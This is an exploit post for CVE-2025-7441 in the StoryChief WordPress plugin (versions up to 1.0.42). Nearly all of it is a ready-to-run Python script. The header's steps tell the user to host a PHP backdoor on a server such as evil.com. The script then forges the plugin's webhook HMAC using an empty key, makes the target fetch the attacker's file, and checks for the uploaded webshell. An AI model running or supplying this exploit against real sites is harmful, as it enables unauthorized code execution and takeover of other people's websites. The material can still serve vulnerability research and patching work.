📄 WordPress StoryChief 1.0.42 Shell Upload

# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
    # Exploit Author: xpl0dec
    # Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler
    # Software Link: https://github.com/Story-Chief/wordpress/
    # Version: <= 1.0.42
    # Tested on: Linux
    # CVE : CVE-2025-7441
    # CVSS Score : 9.8
    
    
    # Step to reproduce :
    # 1. Create a file with the .php extension and fill it with:
    # <?php 
    # header(“Content-Type: image/jpeg”);
    # echo “<?php phpinfo(); ?>”;
    # ?>
    # 2. Adjust the echo phpinfo section as needed
    # 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php
    # 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php
    # 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url>
    
    from datetime import datetime
    import requests
    import json
    import hmac
    import hashlib
    import sys
    import time
    import os
    
    def banner():
    	print(r"""
      _   _  ____ _____ _   _ _____ _  __  ____    _ __   __
     | \ | |/ ___| ____| | | | ____| |/ / |  _ \  / \\ \ / /
     |  \| | |  _|  _| | |_| |  _| | ' /  | | | |/ _ \\ V / 
     | |\  | |_| | |___|  _  | |___| . \  | |_| / ___ \| |  
     |_| \_|\____|_____|_| |_|_____|_|\_\ |____/_/   \_\_|  
                                                            
      PoC exploit CVE-2025-7441 by xpl0dec
    	""")
    
    if __name__ == "__main__":
        banner()
        if len(sys.argv) != 3:
            print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>")
            sys.exit(1)
    
        url = sys.argv[1] + "/wp-json/storychief/webhook"
    
        dummy = {
            "meta": {
                "event": "publish"
            },
            "data": {
                "featured_image": {
                    "data": {
                        "sizes": {
                            "full": sys.argv[2]
                        }
                    }
                }
            }
        }
    
        json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True)
        json_string = json_string.replace("/", "\\/").encode()
    
        signature = hmac.new(
            "".encode(),
            json_string,
            digestmod=hashlib.sha256
        ).hexdigest()
    
    
        headers = {
            "Content-Type": "application/json"
        }
    
        payload = {
            "meta": {
                "mac" : signature,
                "event": "publish"
            },
            "data": {
                "featured_image": {
                    "data": {
                        "sizes": {
                            "full": sys.argv[2]
                        }
                    }
                }
            }
        }
    
    
        print("[+] get hmac... [+]")
        time.sleep(2)
        print("hmac : " + signature)
    
    
        response = requests.post(url, headers=headers, data=json.dumps(payload))
    
        if "permalink" in response.text:
            print("[+] Response Success [+]")
            time.sleep(2)
            print("[+] Check backdoor from uploaded... [+]")
    
        current_datetime = datetime.now()
        month = str(current_datetime.month).zfill(2)
        year = current_datetime.year
        file_backdoor = os.path.basename(sys.argv[2])
        
        get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")
    
        if get_backdoor.status_code == 200:
            print("[+] Exploitation Success [+]")
            time.sleep(2)
            print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")